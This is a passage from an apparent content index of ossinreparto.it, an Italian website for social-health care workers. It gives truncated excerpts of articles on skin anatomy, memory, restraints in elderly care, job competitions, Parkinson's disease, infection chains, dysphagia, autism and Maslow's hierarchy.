dell'epidermide, composto da cellule morte appiattite che si desquamano continuamente. Questo strato fornisce una barriera protettiva contro l'ambiente esterno. Strato Lucido (Stratum Lucidum): Presente solo nelle zone di pelle spessa come i palmi delle mani e le piante dei piedi. È un sottile strato di cellule traslucide. Strato Granuloso (Stratum Granulosum): Le cellule iniziano a morire e a produrre granuli di cheratina e lipidi, che contribuiscono alla formazione della barriera cutanea. Strato Spinoso (Stratum Spinosum): Composto da cellule vive che iniziano a produrre cheratina. Le cellule sono unite da desmosomi, che conferiscono resistenza meccanica. Strato Basale (Stratum Basale): Lo strato più profondo dell'epidermide, dove si trovano le cellule staminali che danno origine a nuovi cheratinociti. Qui si trovano anche i melanociti, che producono melanina, il pigmento responsabile del colore della pelle. Derma Il derma è lo strato intermedio della pelle, situato sotto l'epidermide. È costituito da tessuto connettivo denso, che conferisce resistenza ed elasticità alla pelle. Il derma è suddiviso in due strati principali: Strato Papillare: È lo strato... --- > La memoria conserva e recupera informazioni. Stimoli ambientali, neuroplasticità, invecchiamento e stili di vita influiscono sulla sua efficacia. - Published: 2024-07-08 - Modified: 2024-07-04 - URL: https://ossinreparto.it/gli-stimoli-ambientali-memoria-oss/ - Categorie: Psicologia La memoria conserva e recupera informazioni. Stimoli ambientali, neuroplasticità, invecchiamento e stili di vita influiscono sulla sua efficacia. La memoria è una delle funzioni cognitive più affascinanti e complesse del nostro cervello. Essa ci permette di conservare e recuperare informazioni, esperienze e abilità che costituiscono la nostra identità. Tuttavia, la memoria non esiste in un vuoto: è influenzata da numerosi fattori, tra cui gli stimoli ambientali. Questo articolo esplorerà la relazione tra gli stimoli ambientali e la memoria, l'invecchiamento cerebrale e la perdita della memoria, e le tecniche terapeutiche per mantenere e riattivare la memoria. La relazione tra uomo e ambiente Influenza degli stimoli ambientali sulle strutture anatomo-funzionali del cervello L'ambiente che ci circonda esercita un'influenza significativa sulle funzioni autonome del cervello, ovvero quelle attività che regolano i processi vitali senza il nostro controllo cosciente. Queste funzioni includono la regolazione del battito cardiaco e la respirazione, la digestione (se vuoi approfondire abbiamo un articolo sull'apparato digerente), e l'equilibrio energetico. Gli stimoli ambientali, sia positivi che negativi, possono modulare questi processi in modi complessi e spesso sorprendenti. Ad esempio, l'esposizione a un ambiente stressante può innescare una risposta di "lotta o fuga" che altera temporaneamente il funzionamento del sistema nervoso autonomo. Al contrario, un ambiente sereno e rilassante può promuovere uno stato di calma e favorire il recupero e la rigenerazione. Esploriamo di seguito, come diversi tipi di stimoli ambientali possono influenzare le funzioni autonome del cervello, con un'attenzione particolare alla neuroplasticità, alla neurogenesi, e agli effetti a lungo termine sulla salute mentale e fisica. Neuroplasticità La neuroplasticità, nota anche come plasticità neuronale o plasticità cerebrale, è la capacità del sistema nervoso di modificare la sua struttura e le sue funzioni in risposta a cambiamenti interni ed esterni. Questo fenomeno consente al cervello di adattarsi a nuove esperienze, apprendere nuove informazioni, recuperare da lesioni e rispondere a variazioni ambientali. In questo modo sottolinea la dinamicità del nostro organo più complesso, mostrando come sia in grado di ristrutturarsi attraverso la formazione di nuove connessioni neuronali e la rimodellazione delle esistenti. Ecco un elenco breve dei principali processi coinvolti: Formazione di nuove sinapsi: creazione di nuove connessioni tra i neuroni in risposta a esperienze e apprendimento. Rinforzo sinaptico: potenziamento delle connessioni esistenti quando vengono frequentemente utilizzate. Eliminazione sinaptica: rimozione delle connessioni neuronali meno utilizzate per rendere il cervello più efficiente. Riorganizzazione neuronale: ristrutturazione delle reti neuronali in risposta a lesioni o cambiamenti nell'ambiente. Neurogenesi: generazione di nuovi neuroni, particolarmente nell'ippocampo, una regione chiave per la memoria e l'apprendimento. Neurogenesi La neurogenesi è il processo attraverso il quale vengono generate nuove cellule nervose, chiamate neuroni, nel cervello. In parole semplici, è la formazione di nuovi neuroni che si uniscono alla rete esistente di cellule nel cervello, permettendo al nostro cervello di crescere, ripararsi e adattarsi. Questo fenomeno, una volta ritenuto limitato solo alle fasi prenatali e infantili, è stato scoperto avvenire anche nell'adulto, specialmente in aree cruciali come l'ippocampo, che è fondamentale per la memoria e l'apprendimento. La neurogenesi è influenzata da diversi fattori, inclusi l'esercizio fisico, l'alimentazione, e gli stimoli cognitivi, ed è strettamente collegata alla capacità del cervello di adattarsi... --- > L'uso delle contenzioni negli anziani è controverso e regolato da norme severe. Va applicato solo in casi estremi, rispettando la dignità del paziente. - Published: 2024-07-04 - Modified: 2024-07-04 - URL: https://ossinreparto.it/contenzioni-rsa-normativa-completa/ - Categorie: Legislazione Sanitaria L'uso delle contenzioni negli anziani è controverso e regolato da norme severe. Va applicato solo in casi estremi, rispettando la dignità del paziente. L'uso delle contenzioni nelle strutture sanitarie per anziani è un argomento di notevole importanza, poiché solleva questioni etiche, normative e pratiche. Le contenzioni rappresentano un intervento eccezionale, da adottare solo in circostanze estreme, quando le alternative risultano inefficaci. Questo articolo esplorerà le diverse forme di contenzioni, le ragioni dietro il loro utilizzo, gli aspetti normativi coinvolti e le conseguenze sull'individuo. Contenzione: tipologie, applicazioni e implicazioni etiche Esaminiamo più nel dettaglio le diverse tipologie di contenzione, le loro applicazioni specifiche e le implicazioni etiche associate. Contenzione Fisica La contenzione fisica implica l'uso di dispositivi fisici per limitare i movimenti di un paziente. I dispositivi comunemente utilizzati includono: Bracciali e cavigliere: questi dispositivi sono progettati per immobilizzare gli arti e sono spesso utilizzati in situazioni di emergenza per impedire autolesionismo o aggressioni. Cinture di contenzione: posizionate attorno al tronco del paziente, queste cinture limitano i movimenti del corpo e sono utilizzate principalmente per prevenire cadute o movimenti bruschi. Spondine da letto: le spondine sono barriere laterali installate sui letti ospedalieri per prevenire cadute durante il sonno o nei pazienti confusi che potrebbero tentare di alzarsi senza assistenza. Cuscini anatomici e dispositivi di posizionamento: questi strumenti aiutano a mantenere il paziente in una posizione sicura e confortevole, riducendo il rischio di piaghe da decubito e altre complicazioni. Applicazioni: La contenzione fisica è spesso utilizzata in situazioni di emergenza, come nelle unità di terapia intensiva, nei reparti psichiatrici o nelle case di cura per anziani, dove i pazienti potrebbero essere in uno stato di agitazione o confusione che li rende pericolosi per sé stessi o per gli altri. Implicazioni etiche: L'uso della contenzione fisica solleva significative questioni etiche. È essenziale che il ricorso a tali metodi sia giustificato solo quando non esistono alternative meno restrittive e che sia sempre temporaneo e strettamente monitorato. Gli operatori sanitari devono essere formati adeguatamente per utilizzare questi dispositivi in modo sicuro ed etico, garantendo il massimo rispetto per la dignità e i diritti del paziente. Contenzione Chimica La contenzione chimica comporta l'uso di farmaci per controllare o modificare il comportamento del paziente. I principali farmaci utilizzati includono: Tranquillanti: questi farmaci, come le benzodiazepine, sono utilizzati per ridurre l'ansia e calmare il paziente. Sedativi: farmaci come i barbiturici o alcuni antipsicotici possono essere usati per indurre uno stato di sedazione, riducendo l'agitazione e l'aggressività. Applicazioni: La contenzione chimica è comunemente utilizzata in contesti di emergenza psichiatrica, nelle case di cura per anziani con pazienti affetti da demenza severa, e nei reparti di terapia intensiva per gestire l'agitazione acuta. Implicazioni etiche: L'uso di farmaci per la contenzione presenta rischi significativi, inclusi effetti collaterali gravi e la possibilità di dipendenza. È fondamentale che tali trattamenti siano prescritti solo dopo una valutazione approfondita del paziente e che siano soggetti a monitoraggio continuo. Inoltre, l'uso di contenzione chimica dovrebbe sempre essere l'ultima risorsa, utilizzata solo quando le altre misure non sono efficaci. Contenzione ambientale La contenzione ambientale si riferisce a modifiche dell'ambiente fisico per migliorare la sicurezza e limitare i movimenti potenzialmente pericolosi... --- > Avvisi e bandi di concorso pubblici per la ricerca di 32 operatori socio sanitari in varie strutture dell'Italia. Scopri quali sono. - Published: 2024-06-14 - Modified: 2025-04-01 - URL: https://ossinreparto.it/32-oss-bandi-concorsi-pubblici-giugno-2024/ - Categorie: Concorsi, News Concorsi - Tag: Lavorare come OSS Avvisi e bandi di concorso pubblici per la ricerca di 32 operatori socio sanitari in varie strutture dell'Italia. In un periodo di crescente necessità di operatori sanitari qualificati, sono stati recentemente pubblicati cinque bandi di concorso per un totale di 32 posti per Operatore Socio Sanitario (OSS). Questi bandi, disponibili sulla Gazzetta Ufficiale e sul sito INPA, offrono opportunità di lavoro sia a tempo indeterminato che determinato. Dettagli dei concorsi I bandi di concorso per i 32 posti di Operatore Socio Sanitario sono stati pubblicati recentemente, così suddivisi: Numero dei bandi: 5 Numero totale di posti: 32 Tipologia di contratto: Tempo indeterminato e determinato Pubblicazione: Gazzetta Ufficiale e sito INPA Requisiti per la partecipazione Per partecipare ai concorsi pubblici per Operatore Socio Sanitario, i candidati devono soddisfare una serie di requisiti specifici: Titolo di studio: Qualifica di Operatore Socio Sanitario Esperienza: Preferibile esperienza pregressa nel settore Altri requisiti: Idoneità fisica all'impiego, cittadinanza italiana o di un paese dell'Unione Europea, età non inferiore ai 18 anni Si sottolinea che ogni bando potrebbe avere dei requisiti specifici differenti. Modalità di Iscrizione Le modalità di iscrizione ai concorsi, in breve, sono le seguenti: Consultare i bandi: Disponibili sulla Gazzetta Ufficiale e sul sito INPA Preparare la documentazione: Curriculum vitae, certificati di qualifica, e altri documenti richiesti Presentare la domanda: Online attraverso il sito ufficiale del concorso Ecco i bandi disponibili 10 posti per Operatori Socio Sanitari Ente: Istituto Rodigino di Assistenza Sociale Descrizione: Avviso di selezione pubblica per assunzioni a tempo determinato sia tempo pieno che parziale di operatore socio sanitario - area degli operatori esperti CCNL Funzioni Locali 16. 11. 2022 Scadenza: 28 giugno 2024 Bando/Avviso: Scaricalo da qui 6 posti per OSS a tempo determinato Ente: ASP Casa di Riposo e Pensionato Imperia Descrizione: Bando di concorso pubblico, per titoli e colloquio, per la copertura di n. 6 posti a tempo determinato e con regime di impiego a tempo pieno di operatore socio sanitario. Scadenza: 18 giugno 2024 Bando e Informazioni: Scaricalo da qui 6 posti per Operatori Socio Sanitari Ente: Azienda Pubblica di Servizi alla Persona Casa di Riposo Andrea Rossi Descrizione: Bando di concorso pubblico per soli esami, con eventuale preselezione, per la copertura a tempo pieno e indeterminato di numero sei (6) unità appartenenti all’Area degli Operatori Esperti (C. C. N. L. Funzioni Locali del 16. 11. 2022), con profilo professionale di Operatore Socio Sanitario ex Cat. B1 con riserva di n. 1 posto a favore dei volontari delle forze armate in applicazione degli artt. 678 e 1014 del D. lgs. 66/2010 e s. m. i. Scadenza: 9 giugno 2024 Avviso/Bando: Scaricalo da qui 5 posti per OSS a tempo indeterminato Ente: IPAB Casa di Riposo "Umberto I", Montebelluna (Treviso) Descrizione: Concorso pubblico, per soli esami, per la copertura di cinque posti di Operatore Socio Sanitario, area Operatori Esperti, a tempo pieno ed indeterminato. Due posti sono riservati a volontari delle FF. AA. Scadenza: 5 giugno 2024 Avviso/Bando: Scaricalo da qui 5 posti per Operatori Socio Sanitari Ente: Azienda Socio-Sanitaria Territoriale della Valle Olona di Busto Arsizio Descrizione: Concorso pubblico, per titoli ed esami, per la... --- > Concorso pubblico per 11 posti di Operatori Socio Sanitari a tempo pieno e indeterminato. Scadenza domande: 15 luglio 2024. - Published: 2024-06-13 - Modified: 2024-06-14 - URL: https://ossinreparto.it/11-posti-oss-concorso-pubblico-luglio-2024/ - Categorie: Concorsi, News Concorsi - Tag: Lavorare come OSS Concorso pubblico per 11 posti di Operatori Socio Sanitari a tempo pieno e indeterminato. Scadenza domande: 15 luglio 2024. Un'importante opportunità di carriera si apre presso l'Istituto di Assistenza Anziani "Villa Spada" di Caprino Veronese (VR). Il concorso pubblico, previsto per luglio 2024, mira a reclutare 11 Operatori Socio Sanitari a tempo pieno e indeterminato. Tra questi, quattro posti sono riservati al personale delle Forze Armate. Requisiti essenziali Gli aspiranti devono possedere i seguenti requisiti per essere ammessi al concorso: Cittadinanza italiana o equipollenti, come specificato dal D. P. C. M. 7 febbraio 1994 n°174. Godimento dei diritti politici e civili. Assenza di condanne per reati contro la Pubblica Amministrazione, salvo riabilitazione. Non esclusione dall'elettorato politico attivo. Non aver subito destituzioni o dispensi per rendimento insufficiente da una pubblica amministrazione. Inoltre, è necessario possedere un attestato di qualifica di Operatore Socio Sanitario, ottenuto tramite un corso di formazione di almeno 1000 ore, conforme alla Legge Regionale del Veneto n. 20/2001 o titoli equipollenti riconosciuti dalle normative regionali del Veneto. Procedura di selezione Il concorso prevede una valutazione delle competenze tecniche e personali dei candidati. Le prove, sia scritte che orali, mirano a testare non solo le conoscenze teoriche ma anche l'abilità nell'applicarle in contesti specifici. Sarà fondamentale dimostrare capacità di ragionamento, risoluzione di problemi e competenze comportamentali adatte alla professione di Operatore Socio Sanitario. Scadenza e modalità di presentazione delle domande Le domande dovranno essere presentate entro il 15 luglio 2024 all'Istituto Assistenza Anziani Villa Spada. Per ulteriori dettagli sul bando e sulle modalità di partecipazione, visitate il sito ufficiale dell'Istituto o contattate direttamente l'ente organizzatore del concorso. Bando Descrizione Bando: Concorso pubblico presso l'Istituto Assistenza Anziani "Villa Spada" di Caprino Veronese (VR) per l'assunzione di 11 Operatori Socio Sanitari a tempo pieno e indeterminato, con 4 posti riservati al personale delle Forze Armate. Area Geografica: VenetoData apertura candidature: 13 Giu 2024 13:00Data chiusura invio candidature: 15 Lug 2024 23:59Numero di posti: 11Ente di riferimento: Istituto Assistenza Anziani Villa Spada Scarica il Bando Completo --- > Esploriamo il morbo di parkinson, sintomi e trattamento nell'assistenza sanitaria. Ecco alcuni consigli pratici per gli operatori socio sanitari. - Published: 2024-05-29 - Modified: 2024-05-24 - URL: https://ossinreparto.it/morbo-di-parkinson-assistenza-sanitaria/ - Categorie: Psicologia Il Morbo di Parkinson è una malattia neurodegenerativa cronica che colpisce principalmente il sistema nervoso centrale, influenzando il controllo dei movimenti volontari e la coordinazione muscolare. Sebbene spesso associata all'invecchiamento, può colpire individui di varie fasce di età, anche se è più comune tra i 50 ei 70 anni. Esistono diverse forme di Parkinson, ciascuna con caratteristiche distintive e progressione variabile. In questo articolo, esploreremo la fisiopatologia, l'eziologia, la sintomatologia e le opzioni di trattamento del Morbo di Parkinson, oltre a fornire consigli pratici per gli operatori socio-sanitari (OSS) che lavorano in strutture sanitarie e domiciliari. Cos'è il Morbo di Parkinson? Il Morbo di Parkinson è una malattia neurodegenerativa che colpisce le cellule nervose nel cervello che producono dopamina, una sostanza chimica che regola i movimenti muscolari. Questa mancanza di dopamina porta a sintomi motori come tremori, rigidità muscolare, bradicinesia (lentezza nei movimenti) e problemi di equilibrio. Fisiopatologia ed Eziologia La fisiopatologia del Morbo di Parkinson è caratterizzata dalla perdita progressiva delle cellule nervose nella sostanza nera del cervello e dalla presenza di aggregati proteici chiamati corpi di Lewy. Le cause esatte della malattia non sono ancora completamente comprese, ma si ritiene che una combinazione di fattori genetici, ambientali e neurologici giochi un ruolo nella sua eziologia. Sintomatologia e Trattamento La sintomatologia del Parkinson è caratterizzata da una vasta gamma di manifestazioni motorie e non motorie che possono variare notevolmente da persona a persona. Tra i sintomi più comuni vi sono tremori, rigidità muscolare, bradicinesia (lentezza nei movimenti) e problemi di equilibrio. Tuttavia, la malattia può anche presentare una serie di sintomi non motori, tra cui disturbi cognitivi, disturbi emotivi, disturbi del sonno e problemi gastrointestinali. Questa complessità sintomatologica rende il Morbo di Parkinson una sfida da affrontare sia per i pazienti che per i loro caregiver e i professionisti sanitari. Tremori Uno dei sintomi più caratteristici del Morbo di Parkinson sono i tremori, che si manifestano come oscillazioni ritmiche e involontarie delle mani, delle braccia, delle gambe o della mandibola. Questi tremori di solito iniziano unilateralmente e possono peggiorare con lo stress o l'emozione. Sebbene i tremori possano essere presenti anche in altre condizioni, quelli associati al Parkinson sono tipicamente presenti a riposo, riducendosi durante l'attività volontaria. Rigidità Muscolare La rigidità muscolare è un'altra caratteristica del Morbo di Parkinson, in cui i muscoli diventano tesi e difficili da muovere. Questo sintomo può causare disagio e limitare la flessibilità del paziente. La rigidità può influenzare diversi gruppi muscolari, rendendo i movimenti meno fluidi e più lenti. Bradicinesia La bradicinesia si riferisce a una lentezza nei movimenti, che è un sintomo comune e debilitante del Morbo di Parkinson. I pazienti possono sperimentare difficoltà nel compiere azioni quotidiane come camminare, scrivere o vestirsi a causa della ridotta velocità e della perdita di fluidità nei movimenti. Questo rallentamento può rendere anche le attività di routine estremamente laboriose e dispendiose di energia. Problemi di Equilibrio e Coordinazione I pazienti affetti da Morbo di Parkinson possono anche sperimentare problemi di equilibrio e coordinazione, aumentando il... --- > Scopri come funziona la catena delle infezioni e impara come interromperla per prevenire la diffusione di malattie infettive. - Published: 2024-05-27 - Modified: 2024-07-23 - URL: https://ossinreparto.it/catena-delle-infezioni-come-funziona/ - Categorie: Igiene e Sicurezza - Tag: Guide OSS, Infezioni In questo articolo, esamineremo attentamente le peculiarità di ogni singolo anello e il suo legame con quello successivo, prestando particolare attenzione a quei microorganismi responsabili delle infezioni correlate all'assistenza. L'illustrazione di una catena costituita da sei anelli interconnessi viene comunemente impiegata per rappresentare la modalità di diffusione di una patologia infettiva. Ciascun anello della catena denota un requisito essenziale, sebbene non sufficiente, affinché l'evento infettivo si verifichi. L'infezione si manifesta quando la sequenza dei requisiti non viene interrotta da precauzioni preventive, ossia finché non viene interrotto almeno un anello della catena. In questa guida, esamineremo attentamente le peculiarità di ogni singolo anello e il suo legame con quello successivo, prestando particolare attenzione a quei microorganismi responsabili delle infezioni correlate all'assistenza. Patogeni: gli agenti infettivi per l'uomo Il primo anello della catena delle infezioni è il patogeno. Nell'ambito dell'assistenza sociosanitaria, la comprensione dei patogeni e dei rischi legati alla loro presenza è fondamentale. I patogeni sono agenti infettivi che possono causare malattie nell'uomo, e la loro presenza può essere particolarmente rilevante nel contesto sanitario, dove la trasmissione delle infezioni può avvenire con facilità. Per gli operatori socio sanitari, la consapevolezza dei diversi tipi di patogeni, dei modi in cui si diffondono e delle misure preventive da adottare è essenziale per garantire un ambiente sicuro per sé stessi e per i pazienti. Tra i patogeni più comuni che gli operatori socio sanitari possono incontrare ci sono batteri, virus, funghi e parassiti. Essi possono essere trasmessi attraverso diverse vie, tra cui il contatto diretto con persone infette, il contatto con superfici contaminate o attraverso goccioline respiratorie. Per prevenire la diffusione di infezioni da patogeni, gli operatori socio sanitari devono seguire scrupolosamente le norme igieniche, utilizzare dispositivi di protezione individuale come guanti e mascherine quando necessario, e adottare pratiche di disinfezione e sterilizzazione appropriate. Una chicca osservativa importante è la capacità di riconoscere i sintomi di potenziali infezioni nei pazienti, oltre alla comprensione dei rischi specifici legati a determinati patogeni. Ad esempio, nei pazienti immunodepressi, le infezioni possono avere conseguenze più gravi, quindi è cruciale essere vigili nell'identificare segni di infezione e intervenire prontamente. Inoltre, mantenere un ambiente pulito e igienizzato riduce significativamente il rischio di trasmissione di patogeni, quindi la corretta gestione dei rifiuti e delle feci è parte integrante del lavoro degli operatori socio sanitari. Serbatoio: l'ambiente in cui il microorganismo risiede Il secondo anello della catena delle infezioni è il serbatoio. Nel contesto dell'analisi delle feci, comprendere il concetto di "Serbatoio" è fondamentale per gli operatori socio sanitari. Il serbatoio si riferisce all'ambiente in cui i microorganismi, come batteri, virus, e parassiti, risiedono all'interno del corpo umano. Questo ambiente può essere rappresentato da diversi tratti dell'apparato digerente, come l'intestino tenue, l'intestino crasso e il colon. Per gli operatori socio sanitari, comprendere il serbatoio dei microorganismi nelle feci è essenziale per valutare la salute del paziente. Ad esempio, se un batterio patogeno si trova nel serbatoio intestinale, potrebbe essere necessario adottare misure preventive per evitare la diffusione dell'infezione o trattamenti specifici per eliminarlo. Inoltre, il monitoraggio del serbatoio delle feci può fornire importanti informazioni sulla salute generale del paziente. Cambiamenti nella composizione microbica del serbatoio intestinale possono essere indicativi di disturbi... --- > Scopri come gestire la disfagia: consigli, tecniche e strumenti per operatori socio-sanitari. Migliora la cura dei pazienti. - Published: 2024-05-22 - Modified: 2024-05-24 - URL: https://ossinreparto.it/disfagia-cibi-adatti/ - Categorie: Assistenza alla Persona La disfagia, difficoltà nel deglutire, può rendere l'alimentazione una sfida quotidiana. Scopri quali cibi favorire e quali evitare per migliorare la tua qualità di vita. La disfagia, difficoltà nel deglutire, può rendere l'alimentazione una sfida quotidiana. Scopri quali cibi favorire e quali evitare per migliorare la tua qualità di vita. La disfagia è una condizione che rende difficile o dolorosa la deglutizione dei cibi e dei liquidi. Questa sfida può verificarsi in qualsiasi momento durante il passaggio del cibo dalla bocca all'esofago e può interessare persone di tutte le età, anche se è più comune negli anziani. Questa condizione può avere un impatto significativo sulla qualità della vita, influenzando la nutrizione, la salute generale e persino la socializzazione. Cause e Sintomi della disfagia Le cause della disfagia sono varie e possono essere suddivise in due categorie principali: disfagia orofaringea e disfagia esofagea. La prima riguarda difficoltà nel trasferimento del cibo dalla bocca all'esofago, mentre la seconda si riferisce a problemi nell'esofago stesso durante il passaggio del cibo allo stomaco. Di seguito sono elencate le principali cause di disfagia. Cause Neurologiche Ictus: Interferisce con il controllo nervoso della deglutizione. Malattie neurodegenerative: Come la malattia di Parkinson, la sclerosi multipla e la SLA (sclerosi laterale amiotrofica). Lesioni cerebrali: Traumi o tumori cerebrali possono danneggiare le aree responsabili della deglutizione. Cause Muscolari Miastenia gravis: Malattia autoimmune che colpisce la giunzione neuromuscolare. Distrofia muscolare: Malattie genetiche che causano debolezza e degenerazione dei muscoli. Cause Strutturali Stenosi esofagea: Restringimento dell'esofago dovuto a infiammazioni croniche, tumori o cicatrici. Diverticoli esofagei: Sacche che si formano nella parete esofagea, come il diverticolo di Zenker. Tumori: Neoplasie nella gola, esofago o zona circostante. Cause Infiammatorie e Infettive Esofagite: Infiammazione dell'esofago spesso causata da reflusso gastroesofageo. Infezioni: Come la candidosi orale o infezioni virali che colpiscono la gola e l'esofago. Cause Congenite Atresia esofagea: Malformazione congenita in cui l'esofago non si sviluppa correttamente. Anomalie anatomiche: Come la palatoschisi o altre malformazioni della bocca e della gola. Cause Iatrogene Interventi chirurgici: Chirurgia della testa, del collo o dell'esofago può danneggiare le strutture della deglutizione. Radioterapia: Trattamenti per il cancro che possono causare infiammazione e cicatrici nell'esofago. Sintomi della disfagia La disfagia può avere un impatto significativo sulla qualità della vita. Le persone con questa condizione possono evitare di mangiare in pubblico per paura di soffocare o di essere giudicate. Riconoscere i sintomi della disfagia è cruciale per una diagnosi tempestiva e un trattamento efficace. Di seguito vengono elencati i principali sintomi della disfagia: Una sensazione soggettiva di avere un'ostruzione o un peso nella parte posteriore della gola, che non è legata all'atto di deglutire, ma può essere accompagnata da un'intermittente paura di soffocare e difficoltà respiratorie; "Fobia del soffocamento", una malattia caratterizzata dalla paura di soffocare a causa dell'ingestione di cibo o bevande; "Fagofobia", la paura di non riuscire a ingoiare; Difficoltà a deglutire, sensazione di cibo bloccato in gola o nel petto; difficoltà a iniziare la deglutizione; Dolore durante la deglutizione (odinofagia): dolore acuto o bruciore quando si deglutisce cibo o liquidi; Rigurgito: ritorno di cibo o acido gastrico in bocca, spesso accompagnato da un gusto acido o amaro; Tosse o soffocamento: tosse frequente o sensazione di soffocamento... --- > Scopri consigli e approfondimenti per gli Operatori Socio Sanitari nell'assistenza ai bambini affetti dallo spettro autistico. - Published: 2024-04-25 - Modified: 2024-07-23 - URL: https://ossinreparto.it/spettro-autistico-nei-bambini/ - Categorie: Psicologia - Tag: Guide OSS L'autismo, un intricato mosaico di sfide e potenzialità, è un tema che richiede comprensione e supporto. In questo articolo, esploriamo approcci e strategie per supportare il bambino autistico nell'ambito dell'Operatore Socio Sanitario (OSS). Comprendere l'Autismo L'autismo è un disturbo dello sviluppo neurologico che influisce sul modo in cui un individuo percepisce il mondo, interagisce con gli altri e si comporta. È caratterizzato da una vasta gamma di sintomi, gradi di gravità e caratteristiche individuali, che variano notevolmente da persona a persona. Questo spettro di manifestazioni è ciò che ha portato a definire questa condizione come "spettro autistico". Il termine "autismo" deriva dal greco antico "autos", che significa "sé stesso" o "proprio", e fu introdotto per la prima volta nel 1911 dallo psichiatra svizzero Eugen Bleuler. Inizialmente, Bleuler utilizzò il termine "autismo" per descrivere un tipo di pensiero interiore e auto-assorbimento presente nella schizofrenia. Tuttavia, il concetto di autismo si è evoluto nel corso del tempo per descrivere un disturbo distinto, separato dalla schizofrenia. La moderna comprensione dell'autismo si è sviluppata principalmente a partire dagli studi condotti negli anni '40 e '50 del XX secolo. Nel 1943, il dottor Leo Kanner pubblicò un influente studio sui bambini con quello che chiamò "disturbo autistico del contatto affettivo", sottolineando le difficoltà nell'interazione sociale e nell'uso del linguaggio verbale osservate in questi bambini. Nello stesso anno, il dottor Hans Asperger in Austria descrisse i comportamenti e le caratteristiche di un gruppo di bambini che presentavano una forma meno grave di autismo, che in seguito sarebbe stato chiamato Sindrome di Asperger. Con il passare degli anni, il concetto di autismo si è ampliato per includere una gamma più ampia di sintomi e severità. Attualmente, il termine "disturbo dello spettro autistico" (ASD) viene utilizzato per descrivere questa condizione, riconoscendo la diversità delle esperienze e delle esigenze delle persone autistiche. Lo spettro autistico include quindi una vasta gamma di persone, dalle persone con disabilità cognitive significative e gravi difficoltà di comunicazione e comportamento, a coloro che hanno abilità cognitive nella norma o superiori e lievi difficoltà di socializzazione e comunicazione. Fondamenti dell'Autismo L'autismo è un disturbo che si presenta fin dalla prima infanzia e persiste per tutta la vita. Esso coinvolge una complessa interazione di fattori genetici e ambientali, che influenzano lo sviluppo del cervello e determinano le caratteristiche dell'individuo autistico. Gli studi scientifici suggeriscono che l'autismo sia associato a differenze nella struttura e nel funzionamento del cervello, in particolare nelle aree coinvolte nella comunicazione, nell'empatia e nel controllo dei comportamenti ripetitivi. Sintomi e Segni Precoci Ritardi nel linguaggio e nella comunicazione non verbale. Difficoltà nell'interazione sociale e nell'interpretazione delle emozioni altrui. Comportamenti ripetitivi o interessi intensi su determinati argomenti. L'autismo è un disturbo dello spettro autistico (ASD) che si manifesta in una varietà di modi e intensità. Comprendere i diversi tipi di autismo è fondamentale per fornire il supporto e le risorse necessarie a coloro che ne sono affetti. In questo articolo, esploreremo i principali tipi di autismo e le loro caratteristiche distintive. Autismo Classico (Autismo... --- > Scopri cos'è la Piramide di Maslow di Abraham Maslow: una chiave per comprendere i bisogni umani e le motivazioni comportamentali. - Published: 2024-04-15 - Modified: 2024-07-23 - URL: https://ossinreparto.it/piramide-di-maslow/ - Categorie: Assistenza alla Persona - Tag: Guide OSS La "Piramide di Maslow" di Abraham Maslow è un modello psicologico rivoluzionario che offre una chiave per comprendere i bisogni umani e le motivazioni che guidano il nostro comportamento. La "Piramide di Maslow" di Abraham Maslow è un modello psicologico rivoluzionario che offre una chiave per comprendere i bisogni umani e le motivazioni che guidano il nostro comportamento. Questa teoria, sviluppata tra il 1943 e il 1954, suggerisce che prima di perseguire la realizzazione personale e sociale, le persone si concentrano sulla soddisfazione dei bisogni di base. Applicando questa prospettiva all'ambito assistenziale, emerge una profonda comprensione dei pazienti e dei loro bisogni. La scala dei bisogni della Piramide di Maslow Abraham Maslow, con la Piramide di Maslow, ha elaborato una teoria della spinta comportamentale fondata sui bisogni umani. Essa è articolata in cinque livelli. I bisogni di base riguardano la sopravvivenza fisica, mentre gli altri sono legati al benessere emotivo: includono la ricerca di sicurezza, il senso di appartenenza e affetto, l'autostima e la realizzazione personale. Affinché un individuo sia motivato a perseguire i bisogni di un livello più alto, è necessario soddisfare innanzitutto quelli di livello inferiore. Nell'ambito dell'assistenza sanitaria, modelli e approcci infermieristici si avvalgono della scala dei bisogni di Maslow come guida per la pianificazione delle cure. Bisogni Fisiologici: La Fondazione del Benessere Fame, Sete, Freddo e Caldo Nonostante Maslow non abbia esplicitamente menzionato le esigenze corporee, esse sono comunemente riconosciute nei requisiti di respiro, idratazione, escrezione, riposo\attività e l'aspetto sessuale. Fatta eccezione per la sfera sessuale, il soddisfacimento di tali requisiti rappresenta un prerequisito fondamentale per la vita dell'essere umano. Mentre il soddisfacimento dei bisogni sessuali potrebbe non essere essenziale per la sopravvivenza individuale, lo è invece per la sopravvivenza della specie umana. I bisogni fisiologici sono i più immediati e influenti nelle decisioni dei pazienti. Affrontare fame, sete, freddo e caldo è cruciale per garantire la sopravvivenza e il benessere fisico. Nell'assistenza, soddisfare questi bisogni primari crea le basi essenziali per affrontare livelli successivi. Bisogno di Sicurezza: Auto preservazione e Ambiente Protetto Ambiente Sicuro e Protetto Paragonabile all'istinto di autopreservazione, il bisogno di sicurezza richiede un ambiente protetto. Nel contesto assistenziale, creare condizioni ottimali per il recupero e il benessere psicologico è fondamentale. Bisogni di Autostima: Esplorando l'Importanza dell'Amor Proprio e della Realizzazione Personale Il grado dei bisogni di autostima è appagato attraverso il conseguimento di traguardi professionali e in altre sfere della vita. L'apprezzamento degli altri contribuisce all'incremento della nostra fiducia in noi stessi e alla gratificazione per le nostre realizzazioni. Bisogno di Appartenenza: Sostegno Emotivo e Accettazione La Presenza degli Altri Il bisogno di appartenenza diventa vitale, creando un ambiente di sostegno emotivo. Qui, i pazienti si sentono compresi e accettati, elementi essenziali per il loro benessere psicologico. Bisogno di Auto realizzazione: Valorizzazione e Identità Valorizzazione delle Capacità e Coinvolgimento La realizzazione personale rappresenta il vertice della scala dei bisogni della Piramide di Maslow. Un individuo che abbia conseguito questo stato si caratterizza per la fiducia in sé stesso, la soddisfazione interiore e la capacità creativa. È orientato verso sfide stimolanti e possiede una prospettiva ottimistica del mondo. Secondo la Piramide di Maslow, molti soggetti si concentrano così intensamente sui bisogni primari,... --- > Scopri come diventare un OSS libero professionista, le opportunità di lavoro e i passi da seguire per aprire la partita IVA. - Published: 2024-03-19 - Modified: 2025-04-01 - URL: https://ossinreparto.it/oss-libero-professionista/ - Categorie: Diventare OSS - Tag: Partita Iva OSS In questo articolo esploreremo cosa significa essere un OSS libero professionista, quali sono le sfide e le opportunità di questa scelta. Il ruolo dell'Operatore Socio Sanitario (O. S. S. 